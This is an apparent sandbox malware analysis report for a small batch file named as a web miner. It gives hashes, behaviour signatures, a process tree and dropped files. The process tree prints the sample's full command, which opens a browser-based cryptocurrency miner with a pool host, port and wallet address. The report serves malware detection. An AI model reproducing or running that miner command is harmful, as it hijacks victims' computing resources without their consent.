002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c

Resubmissions

29/04/2026, 12:54

260429-p5kf3act617

29/04/2026, 12:24

29/04/2026, 12:19

29/04/2026, 12:17

29/04/2026, 12:11

Analysis

max time kernel
899s
max time network
900s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
webminer - Copie (11).bat
Size 200B
Sample260429-p5kf3act61
SHA256 002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c
MD5 23ea1640884615306bbc6f6820db3ce3
SHA1 0ebd1841b9814c0f1677c0441c5c78566c276c88
SHA512 3bc31a78b4487e1502b030b40c1b8ec162b9c6a8e3dce558dea531ee7c6f48539201f45ea6b4127c7e9b96bb656afbbf591e4ca3a40d2517383f64ab8f18b9db
TLSH
T19DD022AD0A40C6D05428FD642B232A7AF7D3C309613268822320E640B28BF9263D135B
MD5 SHA1 SHA512 TLSH

Score

7^/10

miner persistence

Malware Config

Signatures

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe
Token: SeDebugPrivilege	4928	firefox.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
4928	firefox.exe
4928	firefox.exe
4928	firefox.exe
4928	firefox.exe
4928	firefox.exe
4928	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4928	firefox.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2840 wrote to memory of 4260	2840	cmd.exe	80
PID 4260 wrote to memory of 4928	4260	firefox.exe	81
PID 4260 wrote to memory of 4928	4260	firefox.exe	81
PID 4928 wrote to memory of 3460	4928	firefox.exe	82
PID 4928 wrote to memory of 3460	4928	firefox.exe	82
PID 4928 wrote to memory of 3460	4928	firefox.exe	82
PID 4928 wrote to memory of 736	4928	firefox.exe	83
PID 4928 wrote to memory of 736	4928	firefox.exe	83
PID 4928 wrote to memory of 736	4928	firefox.exe	83
PID 4928 wrote to memory of 736	4928	firefox.exe	83
PID 4928 wrote to memory of 3892	4928	firefox.exe	84
PID 4928 wrote to memory of 3892	4928	firefox.exe	84
PID 4928 wrote to memory of 3892	4928	firefox.exe	84
PID 4928 wrote to memory of 3892	4928	firefox.exe	84
PID 4928 wrote to memory of 5672	4928	firefox.exe	85
PID 4928 wrote to memory of 5672	4928	firefox.exe	85
PID 4928 wrote to memory of 5672	4928	firefox.exe	85
PID 4928 wrote to memory of 3652	4928	firefox.exe	86
PID 4928 wrote to memory of 3652	4928	firefox.exe	86
PID 4928 wrote to memory of 3652	4928	firefox.exe	86
PID 4928 wrote to memory of 3652	4928	firefox.exe	86
PID 4928 wrote to memory of 1864	4928	firefox.exe	87
PID 4928 wrote to memory of 1864	4928	firefox.exe	87
PID 4928 wrote to memory of 1864	4928	firefox.exe	87
PID 4928 wrote to memory of 1864	4928	firefox.exe	87
PID 4928 wrote to memory of 5832	4928	firefox.exe	88
PID 4928 wrote to memory of 5832	4928	firefox.exe	88
PID 4928 wrote to memory of 5832	4928	firefox.exe	88
PID 4928 wrote to memory of 5832	4928	firefox.exe	88
PID 4928 wrote to memory of 3440	4928	firefox.exe	89
PID 4928 wrote to memory of 3440	4928	firefox.exe	89
PID 4928 wrote to memory of 3440	4928	firefox.exe	89
PID 4928 wrote to memory of 3440	4928	firefox.exe	89
PID 4928 wrote to memory of 5168	4928	firefox.exe	90
PID 4928 wrote to memory of 5168	4928	firefox.exe	90
PID 4928 wrote to memory of 5168	4928	firefox.exe	90
PID 4928 wrote to memory of 5168	4928	firefox.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\webminer - Copie (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" "https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10
    3⤵
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2000 -prefsLen 27097 -prefMapHandle 2004 -prefMapSize 270279 -ipcHandle 2064 -initialChannelId {02778b0f-7c70-419a-a3a5-27d51d161554} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:3460
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2436 -prefsLen 27133 -prefMapHandle 2440 -prefMapSize 270279 -ipcHandle 2456 -initialChannelId {2d9750a4-4182-4588-96fb-705c4097a7a4} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:736
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3884 -prefsLen 25164 -prefMapHandle 3888 -prefMapSize 270279 -jsInitHandle 3892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3900 -initialChannelId {743b6731-e223-4816-b695-43202075d467} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:3892
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4036 -prefsLen 27274 -prefMapHandle 4040 -prefMapSize 270279 -ipcHandle 4112 -initialChannelId {c1d924aa-0745-4d44-b804-a6ad5a6f9e5d} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:5672
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2832 -prefsLen 34773 -prefMapHandle 2836 -prefMapSize 270279 -jsInitHandle 2616 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3136 -initialChannelId {0092a594-7048-4e5b-8897-e5894ac71f23} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:3652
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4908 -prefsLen 35010 -prefMapHandle 4912 -prefMapSize 270279 -ipcHandle 4920 -initialChannelId {2f1b1195-f216-4ec2-b591-8523cd43cb76} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:1864
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5188 -prefsLen 32952 -prefMapHandle 5148 -prefMapSize 270279 -jsInitHandle 5524 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5532 -initialChannelId {8f3bc92d-abba-4a00-924c-95f3d53c7a17} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:5832
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5732 -prefsLen 32952 -prefMapHandle 5736 -prefMapSize 270279 -jsInitHandle 5740 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5748 -initialChannelId {aeaf2625-f1f0-406f-bde7-04990b7651ce} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:3440
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5740 -prefsLen 32952 -prefMapHandle 5736 -prefMapSize 270279 -jsInitHandle 5732 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5844 -initialChannelId {0c0cdb34-169d-4e70-bd77-10a43f8f55ab} -parentPid 4928 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4928" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\activity-stream.contile.json
Size 4KB
SHA256 3e391e642c6a7142ce694ff7c10ca94725c3d94ecc08f4d5faa33dd00fe724fc
MD5 241ee8499577ce02f23a1b4188054545
SHA1 97be918a53b6371ff353f144c97dac2ff89dcdbf
SHA512 c2be1515a5c14f415d58e3c1c672310e982e316b47eb0daac8d0d34cc407e990e3b14b2218b0542d6a0d6cb5bbb8fcb633af873312dbed437543f55f1a70d83b
SSDEEP 96:K65itXowDV5df0918Dl+Ed/JWdV+3ImY9keSol:Kyit4w/dc9il+G8dVtOell
TLSH
T19CA1F9DFC87CC9A74732A7F07C5F27ADF14BB25B8ED59889AB448C21E29511741DAA00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CD1C116DEEE8F4F97C1806976E10E7E2B349E486

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\cache2\entries\CD1C116DEEE8F4F97C1806976E10E7E2B349E486
Size 13KB
SHA256 21a7b157a7da1829c25130001bb7282fe4f0178bcffa2ba46426071b1fe71534
MD5 1573011e04002028b0da6a3e255aa5df
SHA1 42b390b9b11b074da5d21a016dd2467dbfd96342
SHA512 e8ee9d2f8512cbc12a286ff535ea8524c9437f8ffa1023d52a6357f90b2dc6d4e30b220e96c44301ae7dfb57ad395b31e06bb9da5e801610776306072edbd7ea
SSDEEP 384:HbaFrLiO024YIFuhw+5EL1pPsac4j0lpDII+3Vx:7aAZYIFuK+5EB9sac4ID8Lb
TLSH
T136528E7EAF0138BA1A2BE194D8AD5218CE04E6BBEEE2D15605043C44C7847BDB4F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F58F0605C722D0D848D03D88AC8E3E50223F57B0

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\cache2\entries\F58F0605C722D0D848D03D88AC8E3E50223F57B0
Size 13KB
SHA256 b290c91bf7fa4877827ff70f46bcb84140feb18301e191b927118f145dff4d02
MD5 1d475f6229699f501d3c51e2ecc9ee85
SHA1 bde0ea67a08e76453f08cf2e80d3f04b2f4f6dad
SHA512 3581968f300e0b56a5ec110a76e13146ce68b25b00ac821106a58d340e843bc60d308688113338abb939b5e2c4f2d4541e037cec4ff8c79455da26f5c44a03e4
SSDEEP 384:HHMO0iO024Y6Fuhw+5EL1pPsac4j0lpDII+GmYmw:nrZY6FuK+5EB9sac4ID8LGTL
TLSH
T1AF528E7EAF1138B90A27D1C4DCEA9205CE08E6BBDFD2D06206543844C680778F8FA4DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\startupCache\webext.sc.lz4
Size 104KB
SHA256 21411c72c9047ca2b1796fb1aba4d040a79bcb7693556b600c2c36bb4c7d3a2e
MD5 2eff34b52dc962826d5d19e9112f37b2
SHA1 69d30653391fb1e7bf535bee3e2e34085e623166
SHA512 41390c237bf42ab0feee1f7eb9afd658a8dcb5170082c9ee3a50880ba2e4e1a904fc190744536be0beda7609a6b50f4d0a62ff44eaf3353db8f2cbb0d2136a60
SSDEEP 1536:jTrliT8IJaD9jMfuoaOjkHJ53E1KrtsBmtDTAiNfXlsLg/adz7rzWNzak8iSDubW:j3lpfMfuoFKRsBmFAqV0g/ksf9Bhw
TLSH
T12AA39EB2DBA2C93D64FFD02DABC2C43EFD266440B3A72009C963271455C6FB86679649
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YGRMC3PDF1GBW7N6V1JO.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YGRMC3PDF1GBW7N6V1JO.temp
Size 7KB
SHA256 dadf98e19d9d17cf9664ed6eb102b838fedf4fc38a8f553eb8370f1e61491fe7
MD5 a539f0a17274aa400f9edc2c4c593a10
SHA1 47b43140aebb9cadba92e3467929ca6e8d998ac3
SHA512 3aa35c2f4100948b6dde4c2b6c5f61156626ae376fccfcec64b6e62a3e357ddf1c7be6bbc7730da7906d294a9fda02ed641f410dba39181daf324eb6f8ef5adc
SSDEEP 96:nTg7/7pT/97/7VT/N7/7TTriOcKaPWan7/7n:TgrJFrd/NrzOvrb
TLSH
T197F10F020FFA0964F2F7CA327B71B7566773F901671E855E828162890E337509AADF63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 e5baf00945ea1e6f284aaf1accdcc1958eccf804fe0262b768d8a5fd5315e39b
MD5 fce11e4e6add4a0676aa3b7b199d8f6a
SHA1 0fd324fb8ea4970fef599e9e4d154c3795bbb20f
SHA512 32af0b925ddcf3b06572fe2052c5f2a9184de47609c1677972905545091673d705ad6543a50fc232a5b0b53670159e83d87729791defd9a6773491224560e86b
SSDEEP 192:X1d66Joz0dzgCl6mc0d+7Ov5zboHr3hyjHjI:ld66JozQzgC1jNboL3hyjk
TLSH
T114E11FA4E629867FD405037BCCB62F414F39388A988E2F1936DC645C2D472ED7A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 f88f7ea32bb8f34fb4b3aeaee5910f00c532278a99d77a3a3b68232ff723eff2
MD5 efe6ded21ea27512b4053a7d2e032b37
SHA1 b8c85a49eb419f9c9bc9d641d26f738446f269f0
SHA512 1c6dd5d908f726c5c40014edc9abcf64add2ea083778d3205f345557e1cff0ea07eede27b9ad6fb98860304682678897a4d6b202d37678fd326bc56c5a085894
SSDEEP 192:K7Ov5zboHhZ3hyjHhg1d66Joz0dzgCl6mc0dz:PboBZ3hyjMd66JozQzgC1jd
TLSH
T16EE10DA4E6298A7BD405037BCCB62F410F39388A988E2F1936DC645C2D572DD3A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 780d96ede2535f5d636ff0ee7f81193510c3f6758413d744b8751b5c189404e5
MD5 08f1cb520e9a328bd70abdb02351abd7
SHA1 9d8edff84bc9e47d773bd119d8a08e9ef972ebfb
SHA512 2f4cc205427f29b4f609271b0078f07dc6502ced98a1a79b9da81c6952f6a2316e5f9ae500bd46bce7361c23884801e7f5ad81b15d955972154bd83cdaa548ac
SSDEEP 192:X1d66Joz0dzgCl6mc0dn7Ov5zboHr3hyjHh:ld66JozQzgC1jiboL3hyj
TLSH
T13FE10EA4E629867BD405037BCCA62F414F39384A988E2F1936DC645C2D472DD7A8D17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\events\events
Size 1KB
SHA256 e04701bf8fbb5384152015d55895d8d76a1cae5851301919127c8094746af572
MD5 fab777175c03022389ce9488ddfa1892
SHA1 2fed35a48ab1b91507d79e4a1a3f78be7408d2d1
SHA512 6fe2089bef0150eaa448fbad687c06b8c5d6e1518ee731707950a39888577c675b246f808145a5bdfa9ca0bad60fefb369d752f25c2e9e0b874cc3608336b2d5
TLSH
T14C21799C3AB84D6AF8DBE3AC7485028E53164E070AC71C430D02DF8CCDD9ADA726A439
MD5 SHA1 SHA512 TLSH

Submit Download

380afc58-6577-447b-ad18-9d7ab93225eb

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\380afc58-6577-447b-ad18-9d7ab93225eb
Size 16KB
SHA256 ed2e5c18b715b46853bf7f1302b37b395d641b9dfd4859ec4d8426f06f224429
MD5 3b5f9a09370c23b430afb7d78518b4c2
SHA1 735f5defa5bca7d84ab0bd2fe1ed3ae3f3efb31f
SHA512 4fb0a78b1de04922b2cd422bb668edb002808810723b107a2bf715977658ad6398aba927f5f40c60d0600e08f2106046f6f6039fe401a6c622c1704d6336be63
SSDEEP 192:SyQ9H+B4HB11Yni70JF8mmMsYml6/am/aomMzfSZBJMV6kZkeCN0n7kDbE97Rb/2:SyQ9+aY0WAy6kZknDb07Rb/DSD
TLSH
T1D372B816186049BA9251E36898FC7FC3E6F528CF4C418FCA9BE4BD4869DE06D512788B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

420a4018-8c13-4dca-bd5e-ad876806aed0

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\420a4018-8c13-4dca-bd5e-ad876806aed0
Size 883B
SHA256 d2a8df66d07417dfdb269fee5cf07234e6132cd26671e21a412f92852f42cae0
MD5 35f5200693e5e6bb330acfdb39c098d4
SHA1 ef75dedff1f9f12989a25f452994a2001b9279f5
SHA512 3b904252bfd972ab6d92318a99c30f1fadc9a4a6f0634adb1a4d4ddea5c3571dda5b26b6547772b7ecb6cd7eb4fa884dc463e74781281f97b29aa58fe97f03f8
TLSH
T15E110041A631B9F29C78839B89613B1397E47423C0C944143EF59D080E7E66EE75625B
MD5 SHA1 SHA512 TLSH

Submit Download

54fc79b0-92d1-4606-8bbd-aa94bb341f00

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\54fc79b0-92d1-4606-8bbd-aa94bb341f00
Size 235B
SHA256 a31112b5449bf730f43da5c53355fea0b2dca1d3afb0ca4b96b8037f26c4f8f5
MD5 14e50a82ee005464a4c8471b56f2181c
SHA1 8e09aae97a1c58f70e22a76197b3a6cc4f7f9b44
SHA512 4fd9d41b36bc56d3bce94d82ca3fa77f257f82eec09b75ad4dc7c51f33baabbbfa36b7bdbb7491946b7322f832255c0a2c09f5b38a54949de0b30a70274ab70f
TLSH
T1E1D097842498232D08004F0AB0A068CA35484C3B987968209A924874DAFDEC90252A27
MD5 SHA1 SHA512 TLSH

Submit Download

9c3055bd-afa1-4137-a09d-b2107a20671b

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\9c3055bd-afa1-4137-a09d-b2107a20671b
Size 886B
SHA256 5cd44b3e9346e372933f78ade0e0cb46f6943e8ed591c3625312bfd0888ba72e
MD5 f71268a6879acf667a34823d626c07e4
SHA1 f8f072ae8a532a471680fbde1b6487b91c27a154
SHA512 34a8b040ea443c5abfdde20b0e1a05123f746435fe77d8ed06939dd2aabbdaf70c82c4e8351ee08d144347977777494014b286926416e57d83913770b717923e
TLSH
T1A911004095267DF29C78D28B89B17B4387E47523C0CA09083FA49A280EBA11BA76661B
MD5 SHA1 SHA512 TLSH

Submit Download

d8664c2a-f30e-4960-83d1-5b8b96540000

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\d8664c2a-f30e-4960-83d1-5b8b96540000
Size 2KB
SHA256 ca49ec890e8a6fcde1ca9271096ab01aae1ad14d0a4043f1c8f8dc20d11066e0
MD5 06f3b84730419eaf2a18f183a31c57ae
SHA1 4a4a3e0cd4fd0b580dc5c95535341a5fb4a3e49c
SHA512 e8013807b0b782386956da2cb416c7f44cd4d6dc981e419ebf759577acb089edd9d2457286a219edfdaf6d7abfdc1c33f5ed3071de016e6cbce97b7e4b9f69ee
TLSH
T16D41335875749CBE9CCAF25DA49133CE53A0890244C61D472E81DE0C8DDABEA73AA42F
MD5 SHA1 SHA512 TLSH

Submit Download

f3ab2f01-66ad-4b06-b51e-50b1d0ae23d2

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\f3ab2f01-66ad-4b06-b51e-50b1d0ae23d2
Size 235B
SHA256 fa4460a27dd63527b40d4c769dba89a12cb821810d331aa4cab7a2ddeb0148ed
MD5 1bec6387704570256aa73c376848ec70
SHA1 7768b2e5c2f0337d8c9ff2d0976a15569b07f047
SHA512 a76ac85a9ba60685a9b89b779dbf3f7bd7c4e3ee1a153802cbfbd020c338f28170e27decb73be11cfd50b096822b193862bfd9caccd89c808b8ee1b35c678fbc
TLSH
T123D0978034C86B1D08000F06F0F068DA31448C3324785890C9A10AB89EBDEC801A2827
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\extensions.json
Size 16KB
SHA256 6539a39be54cb41cf5b69efe2d6de5cd4d1d36c5d17d0bfac7b52d7dc7827403
MD5 c233ebdb1f743bd322509232f77c8b94
SHA1 122d8130558d454b2a2433f0e9015f9c31ff1929
SHA512 6d94f4e012eff9928fe6b22847800b7027630e05db5f8f109b659283ee982a9aab9d4a0d4bb899ad1db880d947e592da20a5186c3235b3ba7e07429b14a1e622
SSDEEP 384:CkI4vDUmldvG8dhWa94zY96oRL4H5L4P1L4HtQL4HVL4H7l4hg:1I47RfrXX4Y6y4R494NS414p4q
TLSH
T1D372421545048EB8298FA79BAA367E01C37D473B60855C78F4DD8FC802FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
